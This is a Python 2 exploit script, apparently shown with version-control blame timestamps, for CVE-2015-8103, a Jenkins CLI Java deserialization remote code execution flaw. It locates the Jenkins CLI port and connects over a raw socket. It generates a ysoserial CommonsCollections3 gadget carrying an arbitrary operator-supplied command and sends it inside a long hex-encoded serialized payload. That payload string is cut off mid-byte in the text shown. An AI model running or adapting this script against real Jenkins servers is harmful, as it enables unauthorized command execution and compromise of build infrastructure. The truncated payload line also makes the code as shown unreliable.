2018-11-15 22:13:08 +00:00
|
|
|
#! /usr/bin/env python2
|
|
|
|
|
|
|
|
#Jenkins CLI RMI Java Deserialization RCE (CVE-2015-8103)
|
|
|
|
#Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits)
|
|
|
|
#Made with <3 by @byt3bl33d3r
|
|
|
|
|
2019-02-17 22:47:18 +00:00
|
|
|
from __future__ import print_function
|
2018-11-15 22:13:08 +00:00
|
|
|
import requests
|
|
|
|
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
|
|
|
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
|
|
|
|
|
|
|
import socket
|
|
|
|
import sys
|
|
|
|
import base64
|
|
|
|
import argparse
|
|
|
|
import os
|
|
|
|
from subprocess import check_output
|
|
|
|
|
|
|
|
ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar']
|
|
|
|
ysoserial_path = None
|
|
|
|
|
|
|
|
parser = argparse.ArgumentParser()
|
|
|
|
parser.add_argument('target', type=str, help='Target IP:PORT')
|
|
|
|
parser.add_argument('command', type=str, help='Command to run on target')
|
|
|
|
parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
|
|
|
|
parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)')
|
|
|
|
|
|
|
|
if len(sys.argv) < 2:
|
|
|
|
parser.print_help()
|
|
|
|
sys.exit(1)
|
|
|
|
|
|
|
|
args = parser.parse_args()
|
|
|
|
|
|
|
|
if not args.ysoserial_path:
|
|
|
|
for path in ysoserial_default_paths:
|
|
|
|
if os.path.exists(path):
|
|
|
|
ysoserial_path = path
|
|
|
|
else:
|
|
|
|
if os.path.exists(args.ysoserial_path):
|
|
|
|
ysoserial_path = args.ysoserial_path
|
|
|
|
|
|
|
|
if ysoserial_path is None:
|
2019-02-17 22:47:18 +00:00
|
|
|
print("[-] Could not find ysoserial JAR file")
|
2018-11-15 22:13:08 +00:00
|
|
|
sys.exit(1)
|
|
|
|
|
|
|
|
if len(args.target.split(':')) != 2:
|
2019-02-17 22:47:18 +00:00
|
|
|
print('[-] Target must be in format IP:PORT')
|
2018-11-15 22:13:08 +00:00
|
|
|
sys.exit(1)
|
|
|
|
|
|
|
|
if not args.command:
|
2019-02-17 22:47:18 +00:00
|
|
|
print('[-] You must specify a command to run')
|
2018-11-15 22:13:08 +00:00
|
|
|
sys.exit(1)
|
|
|
|
|
|
|
|
host, port = args.target.split(':')
|
|
|
|
|
2019-02-17 22:47:18 +00:00
|
|
|
print('[*] Target IP: {}'.format(host))
|
|
|
|
print('[*] Target PORT: {}'.format(port))
|
|
|
|
print('\n')
|
2018-11-15 22:13:08 +00:00
|
|
|
|
2019-02-17 22:47:18 +00:00
|
|
|
print('[*] Retrieving the Jenkins CLI port')
|
2018-11-15 22:13:08 +00:00
|
|
|
#Query Jenkins over HTTP to find what port the CLI listener is on
|
|
|
|
r = requests.get('{}://{}:{}'.format(args.proto, host, port))
|
|
|
|
cli_port = int(r.headers['X-Jenkins-CLI-Port'])
|
|
|
|
|
|
|
|
#Open a socket to the CLI port
|
|
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
|
|
server_address = (host, cli_port)
|
2019-02-17 22:47:18 +00:00
|
|
|
print('[*] Connecting to Jenkins CLI on {}:{}'.format(host, cli_port))
|
2018-11-15 22:13:08 +00:00
|
|
|
sock.connect(server_address)
|
|
|
|
|
|
|
|
# Send headers
|
|
|
|
headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74'
|
2019-02-17 22:47:18 +00:00
|
|
|
print('[*] Sending headers')
|
2018-11-15 22:13:08 +00:00
|
|
|
sock.send(headers)
|
|
|
|
|
|
|
|
data = sock.recv(1024)
|
2019-02-17 22:47:18 +00:00
|
|
|
print('[*] Received "{}"'.format(data))
|
2018-11-15 22:13:08 +00:00
|
|
|
|
|
|
|
if data.find('JENKINS REMOTING CAPACITY') == -1:
|
|
|
|
data = sock.recv(1024)
|
2019-02-17 22:47:18 +00:00
|
|
|
print('[*] Received "{}"'.format(data))
|
2018-11-15 22:13:08 +00:00
|
|
|
|
|
|
|
payloadObj = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections3', args.command])
|
|
|
|
payload_b64 = base64.b64encode(payloadObj)
|
|
|
|
payload='\x3c\x3d\x3d\x3d\x5b\x4a\x45\x4e\x4b\x49\x4e\x53\x20\x52\x45\x4d\x4f\x54\x49\x4e\x47\x20\x43\x41\x50\x41\x43\x49\x54\x59\x5d\x3d\x3d\x3d\x3e'+payload_b64+'\x00\x00\x00\x00\x11\x2d\xac\xed\x00\x05\x73\x72\x00\x1b\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x55\x73\x65\x72\x52\x65\x71\x75\x65\x73\x74\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x03\x4c\x00\x10\x63\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x50\x72\x6f\x78\x79\x74\x00\x30\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x24\x49\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x3b\x5b\x00\x07\x72\x65\x71\x75\x65\x73\x74\x74\x00\x02\x5b\x42\x4c\x00\x08\x74\x6f\x53\x74\x72\x69\x6e\x67\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x78\x72\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x03\x49\x00\x02\x69\x64\x49\x00\x08\x6c\x61\x73\x74\x49\x6f\x49\x64\x4c\x00\x08\x72\x65\x73\x70\x6f\x6e\x73\x65\x74\x00\x1a\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x52\x65\x73\x70\x6f\x6e\x73\x65\x3b\x78\x72\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01\x4c\x00\x09\x63\x72\x65\x61\x74\x65\x64\x41\x74\x74\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x3b\x78\x70\x73\x72\x00\x1e\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x24\x53\x6f\x75\x72\x63\x65\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01\x4c\x00\x06\x74\x68\x69\x73\x24\x30\x74\x00\x19\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x43\x6f\x6d\x6d\x61\x6e\x64\x3b\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02\x00\x00\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65\x73\x73\x61\x67\x65\x71\x00\x7e\x00\x03\x5b\x00\x0a\x73\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73\x74\x3b\x78\x70\x71\x00\x7e\x00\x10\x70\x75\x72\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x78\x70\x00\x00\x00\x0c\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x03\x4c\x00\x08\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x03\x4c\x00\x0a\x6d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x71\x00\x7e\x00\x03\x78\x70\x00\x00\x00\x43\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x74\x00\x0c\x43\x6f\x6d\x6d\x61\x6e\x64\x2e\x6a\x61\x76\x61\x74\x00\x06\x3c\x69\x6e\x69\x74\x3e\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x32\x71\x00\x7e\x00\x15\x71\x00\x7e\x00\x16\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x63\x74\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x74\x00\x0c\x52\x65\x71\x75\x65\x73\x74\x2e\x6a\x61\x76\x61\x71\x00\x7e\x00\x17\x73\x71\x00\x7e\x00\x13\x00\x00\x00\x3c\x74\x00\x1b\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x55\x73\x65\x72\x52\x65\x71\x75\x65\x73\x74\x74\x00\x10\x55\x73\x6
|
|
|
|
|
|
|
|
sock.send(payload)
|
2019-02-17 22:47:18 +00:00
|
|
|
print('[+] Sent payload')
|